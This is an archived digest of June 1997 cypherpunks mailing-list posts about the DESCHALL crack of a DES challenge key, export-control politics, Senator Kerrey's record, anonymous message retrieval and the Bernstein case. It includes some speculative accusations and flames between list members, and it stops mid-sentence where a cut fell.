MIME-Version: 1.0
Content-Type: text/plain



Declan McCullagh wrote:
> 
> Rocke Verser's announcement couldn't have come at a
> more embarrassing time for the White House. At 3:46 pm
> yesterday, after five months of painstaking work, the
> Colorado computer consultant fired off an excited
> message to the DES challenge mailing list: "WE FOUND IT!"

  After the DES challenge began, didn't someone on the cypherpunks list
predict that the key would be cracked at a time that was opportune for
RSA, et al, and that the key would be found by "c2Nut testicles?"

 I can't find my printout of the post but if my memory serves me
correctly then (s)he predicted more than a few of the events surrounding
the DES challenge.
  The timing of the find is certainly opportune and there is no doubt
that the company that found the key is closely connected to c2net (not
to mention the spooks the company fronts for in Costa Rica and South
America). Also, the Genx effort was plagued with internal and external
sabotage, as predicted, and several other efforts were chilled before 
they ever got off the ground (by government and corporate legal
consultants who all seem to have close connections to Colorado DoD
agencies).

  I am not suggesting that RSA and their cohorts would put the fix in
just because their is a tremendous amount of money and power surrounding
this issue (both corporate and political) but I have certainly noticed
that there doesn't seem to be any area of the crypto community where I
don't find the same dark figures flitting through the shadows (and they
all seem to have agendas linked to secret government labs and unelected
government regulatory comittees).
  I was a bit skeptical of some of the rather paranoid claims I saw on
the cypherpunks list at times but I can certainly vouch for the fact
that there were more than a few computer admins in the New York area
who were told from on high that using their company's computers in
the DES challenge would not bode well for future government contracts.
  I am beginning to wonder if I shouldn't have majored in nuclear
physics since there seems to be less political intrigue in that arena
than in the crypto arena these days.

Chauncey Gardner





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Thu, 19 Jun 1997 23:51:14 +0800
To: "Peter D. Junger" <junger@upaya.multiverse.com>
Subject: Re: DES is dead. RC5 is next.
In-Reply-To: <3.0.2.32.19970618232220.00756954@netcom9.netcom.com>
Message-ID: <3.0.2.32.19970619082126.0077f32c@netcom9.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



At 04:39 AM 6/19/97 -0400, Peter D. Junger wrote:
>I would like like to help and I have two or three boxes that could
>be used.  But the print on your web page is so small that I am not
>sure I will be able to read the instructions.

I don't run the site. I am just a fellow cracker. :-)


--Lucky Green <shamrock@netcom.com>
  PGP encrypted mail preferred.
  DES is dead! Please join in breaking RC5-56.
  http://rc5.distributed.net/





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Thu, 19 Jun 1997 15:04:33 +0800
To: cypherpunks@Algebra.COM
Subject: PGP 5.0 source shipped to Europe!
Message-ID: <199706190658.IAA14883@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



Unknown Cypherpunks shipped the PGP 5.0 source to Europe.

http://www.ifi.uio.no/pgp/pgp50.shtml

See the source books! Read the shipping label! Trace the package!

--SourceMonger





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: geeman <geeman@best.com>
Date: Fri, 20 Jun 1997 00:26:51 +0800
To: cypherpunks@Algebra.COM
Subject: FYI: Who owns Sen. Kerrey (LONG)
Message-ID: <33A959DC.5793@best.com>
MIME-Version: 1.0
Content-Type: text/plain



Actually the profile doesn't look too evil.
One wonders who's pushing him on this, since he
doesn't come across asa crypto expert ;)


Below is from the Project Vote Smart pages...

Senator J. Robert 'Bob' Kerrey

                            Performance Evaluations by Special Interest
Groups



                                               How to Interpret These
Evaluations

These evaluations are in percentage form. They represent the percentage
of 
time that the incumbent voted with that organization's preferred
positions on a number of
votes that they identified as key in their issue area. Remember, by
definition, these r
atings by special interest groups are biased. They do not represent a
non-partisan stance. In addition, some groups select votes that tend to
favor members 
of one political party over another, rather than selecting votes based
solely on
issue concerns. However, they can be invaluable in showing where an
incumbent has 
stood on a series of votes over a year's time, especially when ratings
by groups
on all sides of an issue are compared. Descriptions of the organizations
offering p
erformance evaluations are available. 

Project Vote Smart collects performance evaluations from ALL special
interest groups 
who provide them. If there is a group you that feel is missing from our
database, either they do not compile performance evaluations, they would
not allow 
Project Vote Smart to distribute them, or we are unaware of the fact
that the
group does ratings. Please let us know if you think we are missing a
group's 
ratings and we will contact the group immediately. 

A final note: The clearest way to read these percentages is, "In [year],
the X
YZ organization gave Senator/Representative X an 80% rating. That means
that on
votes they identified as key in their issue area during that time
period, he/she 
voted with the group's preferred position 80% of the time." The
exception to this is the
evaluation done by the National Taxpayers Union, which represents how
often a 
representative or senator voted to decrease, or not increase, spending. 


                                     Performance Evaluations by Special
Interest Groups

Issue Area      Year    Percentage   Evaluating Organization      
------------------------------------------------------------------------------
Abortion/FamPln 1991       20 Justlife Education Fund
(Abortion)           
Abortion/FamPln 1993-1996 100 Planned
Parenthood                           
Abortion/FamPln 1996        0 National Right to Life
Committee             
Abortion/FamPln 1996      100 National Abortion Reproductive Rights
Action 
Business        1995-1996  41 National Federation of Independent
Business  
Business        1996       10 Business-Industry Political Action
Committee 
Business        1996       23 U.S. Chamber of
Commerce                     
Children        1995       89 Children's Defense
Fund                      
Chr.Fam. Issues 1991-1992   9 Christian
Voice                              
Chr.Fam. Issues 1995-1996   8 Christian
Coalition                          
Civil Rts/Lib   1991-1992  55 National Gay & Lesbian Task
Force            
Civil Rts/Lib   1993-1994  80 Human Rights Campaign
Fund                   
Civil Rts/Lib   1995-1996  67 National Association for the Advancement
of C
Civil Rts/Lib   1995-1996  90 Leadership Conference on Civil
Rights        
Civil Rts/Lib   1996       47 American Civil Liberties
Union               
Conservative    1995-1996  21 Conservative
Index                           
Conservative    1996        5 American Conservative
Union                  
Consumers       1996       79 Consumer Federation of
America               
Contractors     1995       17 Associated Builders &
Contractors            
Crime           1995-1996  60 Citizens United for Rehabilition of
Errants  
Defense/Foreign 1991       60 JustLife Education Fund (Arms
Reduction)     
Defense/Foreign 1991       62 Professional's Coalition for Nuclear Arms
Con
Defense/Foreign 1993-1994  30 American Security
Council                    
Defense/Foreign 1995       60 Campaign for U.N.
Reform                     
Defense/Foreign 1995       92 Peace
Action                                 
Defense/Foreign 1996       82 Council for a Livable
World                  
Economic Policy 1991       80 JustLife Education Fund (Economic
Policy)    
Economic Policy 1994       20 Competitive Enterprise Institute
(Totals)    
Economic Policy 1995       20 The Libertarian Party - Economic
Freedom     
Economic Policy 1996       23 The Republican Liberty
Caucus                
Education       1993-1994  73 American Federation of
Teachers              
Education       1995       83 National Education
Association               
Education       1995-1996  91 U.S. Student
Association                     
Env./consumer   1995-1996  67 U.S. Public Interest Research
Group          
Environment     1994       11 Competitive Enterprise Institute
(Environment
Environment     1995-1996  74 League of Conservation
Voters                
Environment     1995-1996 100 Fund For
Animals                             
Farm            1991-1992  50 National Farmers
Organization                
Farm            1993       56 National Farmers
Union                       
Farm            1993-1994  67 American Farm Bureau
Federation              
Farm            1994      100 Competitive Enterprise Institute
(Agriculture
Gun Issues      1993-1994   0 National Rifle
Association                   
Gun Issues      1993-1994 100 Handgun Control,
Inc                         
Health          1995-1996  89 AIDS Action
Council                          
Health          1996       93 American Public Health
Association           
Immigration     1996       30 American Immigration
Control                 
Immigration     1996       50 Federation for American Immigration
Reform-Se
Labor           1989      100 Machinists Non-Partisan Political
League     
Labor           1989-1990 100 National Federation of Federal
Employees     
Labor           1991       67 American Postal Workers
Union                
Labor           1994       90 United Food & Commercial
Workers             
Labor           1995       30 Transportation Communications
Union          
Labor           1995       62 Communications Workers of
America            
Labor           1995       62 The
Teamsters                                
Labor           1995       75
AFL-CIO                                      
Labor           1995       85 United Auto
Workers                          
Labor           1996       75 American Federation of Government
Employees  
Labor           1996      100 American Federation of State, County &
Munici
Liberal         1995-1996  81 Public Citizen's Congress
Watch              
Liberal         1995-1996  85 National Committee for an Effective
Congress 
Liberal         1996       85 Americans for Democratic
Action              
Libertarian     1995       35 The Libertarian Party - Combined
Score       
Populist        1995       30 Liberty
Lobby                                
Poverty         1996      100 Bread for the
World                          
Property        1995-1996  20 League of Private Property
Voters            
Regulation      1994       29 Competitive Enterprise Institute
(Deregulatio
Seniors         1995       80 National Council of Senior
Citizens          
Seniors         1995-1996  30 The 60 Plus
Association                      
Seniors         1995-1996  80 National Association of Retired Federal
Emplo
Seniors         1995-1996  86 National Committee to Preserve Social
Securit
Social Policy   1991       40 National Association of Social
Workers       
Social Policy   1995       50 The Libertarian Party - Personal
Freedom     
Social Policy   1995       87
Network                                      
Social Policy   1995-1996  77 Friends Comm. on Nat'l Leg.
(Senate)         
Social Policy   1996       44 The Republican Liberty
Caucus                
Social Policy   1996      100 Zero Population
Growth                       
Taxes/Spending  1991-1992  17 National Tax-Limitation
Committee            
Taxes/Spending  1994        0 Competitive Enterprise Institute
(Taxes)     
Taxes/Spending  1994       14 Competitive Enterprise Institute
(Budget)    
Taxes/Spending  1994       15 Competitive Enterprise Institute
(Spending)  
Taxes/Spending  1995       28 Citizens Against Government
Waste            
Taxes/Spending  1995       35 National Taxpayers
Union                     
Taxes/Spending  1995       60 Concord
Coalition                            
Trade           1994       50 Competitive Enterprise Institute
(Trade)     
Veterans        1989-1990  50 Vietnam Veterans of
America                  
Women           1989-1990  95 National Women's Political
Caucus            
Women           1993      100 The Woman Activist
(Senate)                  
Women           1995-1996  25 Concerned Women for
America                  
Women           1995-1996  86 American Association of University
Women     



                                    Senator Kerrey | Nebraska Directory
| 105th Congress Directory


                                                     Project Vote Smart
                                          129 NW 4th Street, Suite 204,
Corvallis, OR 97330
                                              Phone 541-754-2746 Fax
541-754-2747
                                     Comments? Questions? E-mail us at
comments@vote-smart.org 




Senator Bob Kerrey

Sources of Campaign Funding



The information in this section was provided by the Center for
Responsive Politics 
and the National Library on Money and Politics. You can read a summary
of the
laws and procedures governing campaign financing which comes from their
book Open Secrets. 

Another good reference is Supporting Federal Candidates -- A guide for
citizens 
from the Federal Election Commission, July 1994. On-line at PoliticsUSA.


FULL CYCLE DATA - 01/01/1989 - 12/31/1994


Net Receipts: .....................................   $5,006,236
Net PAC Contributions: ............................   $1,556,633
Net Individual Contributions: .....................   $3,290,334

The figures below represent Political Action Committee (PAC)
contributions
by industry and sector.

Agriculture: ......................................     $268,605
     Agricultural Services & Products........      $84,180
     Crop Production & Basic Processing......      $63,425
     Food Processing & Sales.................      $43,000
     Dairy...................................      $27,000
     Tobacco.................................      $22,500
     Livestock...............................      $17,500
     Poultry & Eggs..........................      $11,000
     Commodity Brokers & Dealers.............           $0
     Forestry & Forest Products..............           $0
     Miscellaneous Agriculture...............           $0

Construction & Public Works: ......................      $20,850
     Home Builders...........................      $16,100
     Construction Services...................       $3,500
     Building Materials & Equipment..........       $1,250
     General Contractors.....................           $0
     Special Trade Contractors...............           $0

Communication & Electronics: ......................     $113,600
     Telephone Utilities.....................      $65,300
     Cable TV................................      $20,000
     TV & Movie Production/Distribution......      $14,000
     Telecom Services & Equipment............       $6,300
     Printing & Publishing...................       $4,000
     Recorded Music Production...............       $2,000
     Computer Equipment & Services...........       $2,000
     Electronics Mfg & Services..............           $0
     Misc. Communications & Electronics......           $0

Defense: ..........................................      $87,720
     Defense Aerospace.......................      $49,500
     Defense Electronics.....................      $28,720
     Miscellaneous Defense...................       $9,500

Energy & Natural Resources: .......................      $62,005
     Electric Utilities......................      $25,755
     Oil & Gas...............................      $23,250
     Waste Management........................       $8,500
     Miscellaneous Energy....................       $3,500
     Mining..................................       $1,000
     Environmental Services & Equipment......           $0
     Nuclear Energy..........................           $0
     Fisheries & Wildlife....................           $0
     Commercial Fishing......................           $0
     Hunting.................................           $0

Finance, Insurance & Real Estate: .................     $250,060
     Insurance...............................      $87,050
     Securities & Investment.................      $65,925
     Commerical Banks........................      $57,475
     Accountants.............................      $20,150
     Real Estate.............................       $8,710
     Miscellaneous Finance...................       $7,000
     Savings & Loans.........................       $2,750
     Credit Unions...........................       $1,000
     Finance & Credit Companies..............           $0

Miscellaneous Business: ...........................      $62,905
     Retail Sales............................      $20,931
     Beer, Wine & Liquor.....................      $12,474
     Food & Beverage.........................       $8,500
     Business Services.......................       $8,000
     Casinos & Gambling......................       $3,500
     Miscellaneous Services..................       $2,000
     Miscellaneous Business..................       $2,000
     Textiles................................       $2,000
     Chemical & Related Manufacturing........       $1,000
     Misc Manufacturing & Distributing.......       $1,000
     Lodging & Tourism.......................       $1,000
     Business Associates.....................         $500
     Recreation & Live Entertainment.........           $0
     Steel Production........................           $0

Health: ...........................................     $171,049
     Health Professionals....................      $79,500
     Hospitals & Nursing Homes...............      $52,000
     Pharmaceuticals & Health Products.......      $33,799
     Health Services.........................       $5,750
     Miscellaneous Health....................           $0

Lawyers & Lobbyists: ..............................      $63,476
     Lawyers & Lobbyists.....................      $63,476

Transportation: ...................................      $76,850
     Air Transport...........................      $33,500
     Railroads...............................      $26,850
     Automotive..............................       $7,000
     Sea Transport...........................       $6,500
     Trucking................................       $3,000
     Miscellaneous Transport.................           $0

Labor Union: ......................................     $250,050
     Building Trades & Industrial Unions.....     $111,500
     Transportation Unions...................      $68,000
     Public Sector Unions....................      $52,050
     Miscellaneous Unions....................      $18,500

Ideological/Single-Issue: .........................     $120,963
     Pro-Israel..............................      $73,000
     Democrat/Liberal........................      $15,500
     Human Rights............................      $10,500
     Abortion Policy.........................      $10,000
     Leadership PACs.........................       $4,653
     Miscellaneous Issues....................       $3,500
     Foreign & Defense Policy................       $2,810
     Gun Rights/Gun Control..................       $1,000
     Republican/Conservative.................           $0
     Womens Issues...........................           $0

Other: ............................................       $2,000
     Other...................................       $1,000
     Education...............................       $1,000
     Civil Servants & Public Officials.......           $0
     Non-Profit Institutions.................           $0
     Retired.................................           $0

Unknown: ..........................................           $0
     Unknown.................................           $0
     Homemakers/Non-income earners...........           $0
     No Employer Listed or Found.............           $0
     Generic Occupation/Category Unknown.....           $0
     Employer Listed/Category Unknown........           $0

---------------------------------------------------------------------------
          PARTIAL CYCLE DATA - 01/01/1995 - 06/30/1995

Net Receipts: .....................................     $116,890
Net PAC Contributions: ............................      $43,500
Net Individual Contributions: .....................      $21,175
Net Candidate Contributions: ......................           $0
Net Other Contributions: ..........................      $52,215
Net Spent: ........................................     $125,359
Ending Cash: ......................................       $7,834
Debts Owed: .......................................           $0



                 This information is brought to you by Project Vote
Smart


Senator Bob Kerrey | Nebraska Directory | 104th Congress Directory |
Vote Smart Web





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Thu, 19 Jun 1997 15:33:21 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Recipient Anonymity
Message-ID: <199706190720.JAA17208@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



Matt Ghio wrote:

> A group of servers collects messages of equal length for anonymous
> recipients.  All servers exchange messages so that each has copies of all
> messages.
> 
> A recipient wishes to retrieve a message from the servers without any
> server knowing which message he is receiving.  The recipient selects a
> group of n servers.  From each server, S_1...S_n-1, he requests a random
> selection of messages, with a 50% probability that any particular message
> will be selected.  The server returns the xor of all messages requested.
> He sends the final server a request which is the xor of all the previous
> requests and the one single message that he wants.
> 
> The xor of all the responses is the desired message.  It is impossible to
> determine which message was received unless all servers collude.


So what you're saying is:

                             - Messages - 
           A B C D E F G H I J K L M N O P Q R S T U V W X Y Z

Server 1:  1 0 1 1 0 1 0 0 1 0 1 0 0 0 1 0 1 1 0 1 0 1 0 0 1 1
Server 2:  0 1 1 0 1 1 1 0 1 0 0 0 1 0 0 1 0 1 0 1 0 0 0 1 0 0
Server 3:  1 1 0 1 1 0 1 0 0 0 1 0 1 0 1 1 0 0 0 0 0 1 0 1 1 1


So server 1 sends back the xor of messages A,C,D,F...Z; server 2 sends
back the xor of B,C,E,F,G...etc.  The xor of all of that cancels out
everything except Message Q.  But as long as at least one of the servers
doesn't keep logs then nobody will know that except the person who
downloaded it. 

Clever.  It sure beats reply-blocks.  :)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Paul Bradley <paul@fatmans.demon.co.uk>
Date: Thu, 19 Jun 1997 21:22:31 +0800
To: ARTURO GRAPA YSUNZA <AGRAPA@banamex.com>
Subject: Re: Bullshit RE: HACKERS SMASH U.S. GOVERNMENT ENCRYPTION
In-Reply-To: <c=MX%a=_%p=BANACCI%l=CENTRALES/BARRANCA24/0001F962@MEX3976BCAOP1>
Message-ID: <Pine.LNX.3.91.970619091626.559A-100000@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain




> > "That DES can be broken so quickly should send a chill through the
> >heart of anyone relying on it for secure communications,"
> 
> I'm shitting bricks. No mention was made that only 25% of the keyspace
> was tested.

Not only that, but single DES with a 56 bit key is just not being used 
anymore in any company which has the slightest clue. If they can run a 
distributed crack on 3DES with independent subkeys then I`ll give them 
some attention.

I`m not downgrading the effort, Joe "wired reader" Sixpack doesn`t know 
the difference between DES, 3DES and his ass anyway, so it is a 
significant publicity stunt that will get normal non-specialist people 
thinking about the export laws, and about how quickly DES can be broken 
by the government if it can be broken by a few guys on the internet in 
months. All I am saying is that looking at it from a purely scientific 
point of view it is not a great cryptanalytic achievement, merely a PR stunt.

> Unfortunately some companies depend on BS to sell products. Glad to see
> C2Net is no different,

What did you expect?

        Datacomms Technologies data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Thu, 19 Jun 1997 15:34:40 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Receiving Messages Anonymously
In-Reply-To: <v02140b01afcbb73285d2@[206.184.194.206]>
Message-ID: <199706190724.JAA17576@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



pdh@best.com (Peter Hendrickson) wrote:

> Receiving anonymous messages is still an open problem.  The solutions
> we have so far are cumbersome to operate.  They also depend on a chain
> of machines remaining up and reliable for a long time, which is
> expensive.
> 
> A quick solution is to use the list to send anonymous messages.  It is
> inexpensive to tell if a message is encrypted for a key you control so
> it is cheap to find messages you can read.


An anonymous message pool.  How is this different from posting to
alt.anonymous.messages?  (Other than it would annoy list readers. :)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alan Olsen <root@nwdtc.com>
Date: Fri, 20 Jun 1997 00:30:03 +0800
To: cypherpunks@Algebra.COM
Subject: Crypto foes have day in court
Message-ID: <33A95E27.302D@nwdtc.com>
MIME-Version: 1.0
Content-Type: text/plain



http://www.news.com/News/Item/0,4,11674,00.html

Crypto foes have day in court 
By Alex Lash
June 18, 1997, 5:45 p.m. PT 

SAN FRANCISCO--Both sides of a landmark court battle
over the use of encryption made their final arguments here
today before a federal judge, who now will decide if the
government's restrictions on encryption exports go too far. 

The case focuses on Daniel Bernstein, a University of Illinois
math professor who sued the government two years ago as a
graduate student when he was not allowed to publish his
Snuffle encryption program on the Internet without an export
license. But the case extends to the all Internet users, who
are coming to rely more on privacy and security for electronic
correspondence and transactions. Strong encryption is
considered necessary to provide that security. 

On the other hand, law enforcement officials are worried that
the unchecked spread of strong encryption will make
communications by criminals impossible to track and decode. 

U.S. District Court Judge Marilyn Patel has already proven
sympathetic to Bernstein's case. In April 1996, she ruled that
software code is free speech and therefore protected under the
First Amendment. From that, she said in December that the
government's regulations created unconstitutional "prior
restraint" of free expression, meaning the creation of an
atmosphere that made the free exchange of protected ideas
difficult, if not impossible. 

Patel can now take as much time as she wants to hand down
her decision. She must decide if the government regulations
violate constitutional or statutory standards. The judge must
also decide what type of relief to grant Bernstein and if that
relief--in the form of unimpeded export of encryption
software--should extend to everyone. 

Since her December ruling, the federal export rules have been
switched from the auspices of the State Department to the
Commerce Department's Bureau of Export Administration.
Patel called the lead attorneys for Bernstein and for the
government together today to determine if she should
reconsider her December ruling in light of the shift. 

"We think [the issues] are fundamentally the same," Cindy
Cohn, lead attorney for Professor Bernstein, told the judge.
"All the things you found wrong before are still up in the air." 

Government attorney Anthony Coppolino essentially agreed,
although he claimed the new rules, which were mandated by a
presidential executive order, cleared up some of the confusion
caused by the State Department rules. "The president's order
of transfer made clearer that we want to control the encryption
function, not the ideas," he said. 

Despite Judge Patel's differing perspective, Coppolino
maintained that the government's rules, which require
publishers of strong encryption software to apply for a
government license, were aimed at controlling the unimpeded
spread of "easy-to-access, easy-to-use" encryption but not
the spread of intellectual expression. 

Coppolino nonetheless seemed resigned to yet another
"adversarial" decision, as he called Patel's previous rulings,
and argued that if the judge rules in favor of
Bernstein--which seems likely given her remarks
today--her interpretation should be as narrow as possible.
Coppolino said that a national injunction on the regulations
would be overkill. 

"You can clearly fashion relief [for Bernstein] without
throwing it open on a nationwide basis," Coppolino contended.

Cohn, who has argued the case pro bono with the help of the
Electronic Frontier Foundation, countered that Bernstein's job
requires not just his own free expression but free
communication in general. 

"We think that everyone else should be protected," she
argued to Patel. "There's no way that Bernstein can speak
freely if no one else can speak back." 

The encryption battle is also being fought in Congress, where
several bills aim to strike down the same federal export rules
that Bernstein is challenging, while one bill, sponsored by
Senators John McCain (R-Arizona) and Bob Kerrey
(D-Nebraska), seeks to impose domestic controls for the
first time.

Introduced yesterday in the Senate, McCain-Kerrey seeks to
mandate the use of key recovery--a system that allows law
enforcement officials to intercept and decode encrypted
electronic communications--for all government products and
government-funded networks. It also aims to tie the domestic
use of digital certificates--a type of electronic ID card that
verifies the legitimacy of an electronic transmission--to key
recovery.

Under the plan, users will not be able to obtain a digital
certificate from a government-licensed "certificate authority"
unless they make their private encryption keys available to
law enforcement when necessary.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Fri, 20 Jun 1997 01:07:53 +0800
To: ARTURO GRAPA YSUNZA <AGRAPA@banamex.com>
Subject: RE: HACKERS SMASH U.S. GOVERNMENT ENCRYPTION
In-Reply-To: <c=MX%a=_%p=BANACCI%l=CENTRALES/BARRANCA24/0001F962@MEX3976BCAOP1>
Message-ID: <3.0.2.32.19970619093902.00759df0@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



At 03:35 PM 6/18/97 -0500, ARTURO GRAPA YSUNZA wrote:
>I actually got a kick out of reading the bullshit in the press release.
...
>You should have given credit to DESCHALL whose effort is be applauded.

I mostly agree with Arturo, especially about giving credit and
indicating how many machines were participating.
Publicity about how the Feds are trying to push
weak crypto on us is worthwhile - the timing was especially pleasant
given Kerrey's new anti-crypto bills in Congress.
Sameer's post did two things - hyped his own company (hmmm :-)
and provided an opportunity for good inflammatory rhetoric.

On the other hand, DES really is _much_ weaker than the DESCHALL
project indicates - Intel CPUs aren't at all tuned for DES cracking,
whereas a custom DES-cracker with similar horsepower could have
done the job a lot faster.  If I remember right, Wiener's design
used 64,000 chips, about as many as there were PCs working DESCHALL,
for a crack that would take hours instead of months.

		


#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#   (If this is a mailing list or news, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Graham-John Bullers <real@freenet.edmonton.ab.ca>
Date: Fri, 20 Jun 1997 00:02:25 +0800
To: Huge Cajones Remailer <nobody@huge.cajones.com>
Subject: Re: E-Cash
In-Reply-To: <199706191100.EAA28681@fat.doobie.com>
Message-ID: <Pine.A41.3.95.970619094414.106054Y-100000@fn2.freenet.edmonton.ab.ca>
MIME-Version: 1.0
Content-Type: text/plain



On Thu, 19 Jun 1997, Huge Cajones Remailer wrote:

I think Vulis needs each of us to send ten copies of this back to him.

> Tim May is another loser who pays for got.net because he lacks the 
> mental capacity to gain net access as a perk of either employment 
> or academic achievment.
> 
>           ((__)) Tim May
>            (00)
>           (o__o)
> 

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Graham-John Bullers                      Moderator of alt.2600.moderated   
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    email : <real@freenet.edmonton.ab.ca> : <ab756@freenet.toronto.on.ca>
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
         http://www.freenet.edmonton.ab.ca/~real/index.html
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Paul Bradley <paul@fatmans.demon.co.uk>
Date: Thu, 19 Jun 1997 17:31:46 +0800
To: cypherpunks@cyberpass.net
Subject: Re: HACKERS SMASH U.S. GOVERNMENT ENCRYPTION STANDARD
In-Reply-To: <199706190155.SAA08785@gabber.c2.net>
Message-ID: <Pine.LNX.3.91.970619094828.559E-100000@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain





> INetZ vice president Jon Gay said "We hope that this will encourage
> people to demand the highest available encryption security, such as
> the 128-bit security provided by C2Net's Stronghold product, rather
> than the weak 56-bit ciphers used in many other platforms."

INetZ obviously hasn`t had experience of C2Net, the censorous cocksuckers 
who send lawyer letters to security consultants who question the strength 
of their products.

> C2Net is the leading worldwide provider of uncompromised Internet
> security software. C2Net's encryption products are developed entirely
> outside the United States, allowing the firm to offer full-strength
> cryptography solutions for international communications and
> commerce. 

C2Net also censor all dissenters over the security of their products, try 
it if you want to prove my point, just post a message to a security forum 
questioning the security of stronghold.


        Datacomms Technologies data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Peter Trei" <trei@process.com>
Date: Fri, 20 Jun 1997 00:02:42 +0800
To: cypherpunks@toad.com
Subject: DES: Thank you!
Message-ID: <199706191540.IAA17231@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



     Well Done!

     My congratulations go out to Rocke Verser, Mike Sanders, 
and all of the other people who developed code and/or ran
clients for the DES challenge. The crack comes roughly at the
time I predicted when I first proposed the challenge, and
at a very opportune moment to influence action in the US
Congress.

     I first proposed the challenge on Oct 1, 1996, in a posting 
to the cypherpunks mailing list: "Can we kill single DES?". Later 
that month, at the suggestion of Ron Rivest, I approached Jim 
Bidzos of RSA Data Security Inc. with the idea. From the start, 
RSA was enthusiastic, and sponsored the challenge to the tune of 
$10,000.

     I wrote some of the earliest key search routines, and
invented a technique to reduce the key schedule generation
from 80% of the total work to less than 5% - a technique which
was universally adopted by key search engine writers.

     I and others also worked on the other major part - the DES 
round. My initial version was substantially faster than any
previously existing Intel version, but later  Sven Mikkelsen of
Danemark found substantial improvements over my code.

     Sven, Rocke, and others also invented techniques to speed up
the search by reducing the number of DES rounds which needed to
be performed; I had reduced the original 16 to 14, but they got
it down to under 12.

     The upshot of this was that searching for keys became faster
than straightforward encryption or decryption with a single key.

---------------------------
What does this tell us?
What do we tell the public?
---------------------------

Single DES can be cracked for under $10,000. Any system 
in which a single DES key protects more than $10,000 in assets 
is inadequate. Thus, one $10,000 message, or even 10 bank
cards with $1000 in their accounts, becomes a tempting target 
(some banking systems use the same DES key for many cards). 

Future cracks can only get faster. Processor speeds continue
to climb, and the number of available computers increases
similarly; thus, the number of available cycles more than
doubles every year - and the cost of a cracked key halves.

This was probably the *least* efficient way to crack DES;
Wiener and others have shown that machines can be built that
will crack DES far faster and cheaper, but the method used
won because it used existing resources, with no significant
upfront development costs.

No enterprise which wishes to use or offer security should 
consider single DES from this point on. If this crack does
anything, it demonstrates that the US Government's offers
to permit the export of single DES are worthless. 

Even without formal organization, distributed computing on
the Internet can muster awesome cpu power - I estimate about
half a million MIP years were used (see below).

-------------------------------
How much cpu was actually used?
-------------------------------

The following is a very rough calculation, there are lots of 
assumptions.

1. DESChall searched 25% of the keyspace - other efforts got
about the same, so we checked roughly 2^55 keys

2. I'm assuming that most search engines used roughly the same
number of operations per key checked, regardless of processor. 
64 bit machines could do better, especially with bitslice 
algorithms.

3. The Pentium code is highly optimized, and thus is executing
roughly 2 instructions per clock cycle.

Lets do the numbers.

from the DESChall benchmark page:

Dual Pentium 200 MHz ......... 2.003M keys per second 

= 200MHz is roughly 400MIPs, due to Pentium's dual pipelines.

-> 1 Mkey/sec = 400 MIPs, or roughly 400 instructions per key.
   (this sounds about right, from my own DES Intel assembly work).

2^55 keys = 3.6*10^16 keys
* 400 = 1.44*10^19 instructions
= 1.44*10^13 million instructions.

= 457,000 MIP years used in the calculation.

Lenstra has stated that, in the factorization of RSA-130:

"we would have spent about 500 mips years (i.e., 10% of the 
computing time spent on the 129-digit QS-record) if we had 
done all the sieving on average workstations with at least 
24 megabytes of memory" 
(from http://enigma.ncsa.uiuc.edu/~dun/rsa-130.shtml)

This suggests that cracking DES used roughly 2 orders of
magnitude (ie, 100x ) more CPU than RSA-129, which I suspect
makes it a record for the largest calculation ever performed.

----------
What next?
----------

Two targets suggest themselves:

1. 56 bit RC5.
2. RSA 135


1. 56 bit RC5.

The earlier efforts on 40 and 48 bit RC5 suggest that keysearch
for RC5 is substantially slower than DES - perhaps 5-10 x slower. 
It's probable that the clients have not been fully optimized.
RSA has another $10,000 prize for this crack.

2. RSA 135 

We used about 1000x the cpu needed for the RSA 130 factorization.
I'm not sure how the best current factorization systems scale
with the modulus size (Rivest, Lenstra?) but I suspect that it's
less than linear. If this is so, then RSA 135 may be doable. RSA135
